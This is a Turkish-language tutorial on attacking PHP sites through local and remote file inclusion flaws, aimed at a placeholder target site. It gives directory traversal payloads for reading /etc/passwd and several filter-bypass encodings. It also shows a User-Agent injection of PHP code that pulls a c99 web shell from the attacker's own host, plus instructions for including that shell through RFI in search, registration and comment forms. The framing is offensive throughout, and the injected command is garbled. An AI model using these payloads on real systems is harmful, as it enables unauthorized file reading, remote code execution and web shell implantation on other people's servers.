File inclusion açığı, kendi içerisinde ikiye ayrılmaktadır. Local File Inclusion (LFI) ve Remote File Inclusion (RFI) olarak ikiye ayrılan açıklardır ve artık eskisi kadar yaygın olmasa da hala karşılaşılabilen bir açık türüdür.
File Inclusion Açığı Nedir?
Hedef siteye dosya sokmamıza yada erişememiz gereken bir dosyaya erişmemize olanak sağlayan bir açık türüdür. Php ile kodlanan sistemlerde görülürür. Günümüzde çok az görülmektedir. Kendi içerisinde LFI ve RFI açığı olarak ikiye ayrılır.
Local File Inclusion
Sunucuda normalde görmememiz gereken, gizlenmiş olması gereken bir dosyayı yada dosyaları okumamıza olanak sağlayan açıktır.
Remote File Inclusion
Sunucuya dosya ekleyip kendi kodumuzu çalıştırmamıza olanak sağlayan açıktır.
LFİ açığı bulma ?
- 1) Mesela ; http://www.hedefsite.com/index.php?id=9 burası sadece id değil (cat,c,home vs.) gibi de
olabilir URL'sindeki id değerini yani 9 silelim eğer şöyle bir hata ile karşılaşırsak demek ki LFİ açığı
vardır.
Hata: Warning: include(company_data/.php) [function.include]: failed to open stream: No such file or
directory in /usr/home/posting/public_html/resources/index.php on line 171
Saldırı
- Yukardaki bize verdiği hataya baktık önemli olan kısım
/usr/home/posting/public_html/resources/index.php buradır. Şimdi bakıyoruz.
1-) /usr
2-)/home
3-)/posting
4-)/public_html
5-)/resources
6-)/index.php
- Şimdi anlıyoruzki 6 adet ../ koyacağız. Yani ;
URL deki id değerinden sonrasını silip yerine ../../../../../../etc/passwd koyacağız.
Yani;http://www.hedefsite.com/index.php?id=. ... etc/passwd şeklinde.
- Peki LFİ bulunduğu halde dosya okunmazsa ne yapmamız gerekir. Tabiki Bypass.
Bypass
1- HTML Encode
Normal: ../../../../../../etc/passwd
Bypass: ..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd Yani;
http://www.hedefsite.com/index.php?id=. ... etc/passwd
2- Charcode
- Charcode de her karakterin bir sayı karşılığı vardır. Normal de tek tek yazarız ama mozillanın hacbar
eklentisinde bulunan bir program.
Normal: ../../../../../../etc/passwd
Bypass:
String.fromCharCode(46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,101,116,99,47,112,97,
115,115,119,100)
3- Diğer
Normal: ../../../../../../etc/passwd
Bypass: ../../../../../../etc/passwd& invalid../../../../../../../../../../../../../../../etc/passwd&
Saldırı
- Saldırıyı mozillanın tamper data eklentisi ile yapacağız. Tamper Datayı Açalım. Ve starta
tıklayalım.http://www.hedefsite.com/index.php?id=. ... etc/passwd şeklinde sayfasını yenileyin.
Sonra tamper
data bir uyarı verecek Tamper Datadaki User-Agent bölümünü silin ve şunu yazın: <?
system(cathttp://www.sizinsiteadresiniz.com/c99.txt? -O c99.php); ?> Şeklinde Shell'i yükleyin ama txt
şeklinde. Sonra
http://www.hedefsite.com/c99.php adresinde Shell'inizi açabilirsiniz. LFİ açığı bu kadar.
RFİ nedir ?
- RFİ (Remote File İnclude) demek hedef siteye dosya yüklemektir.
RFİ nasıl bulunur ?
- Manuel Olarak
- Web Vulnerability Scanner Programlarıyla (Vega,Acunetix vs.)
RFİ nerelerde bulunur ?
1- Arama Kutularında
2- Kayıt Formlarında
3- Yorum Formlarında
Saldırı
- Arama motorunda , kayıt formlarında , yorum formlarında eğer RFİ açığı varsa şöyle yapıyoruz.
http://www.sizinsiteadresiniz.com/c99.txt? şeklinde txt olarak Shelli upload ederiz. Shell otomatik olarak
açılır ya da çağırmamız gerekir.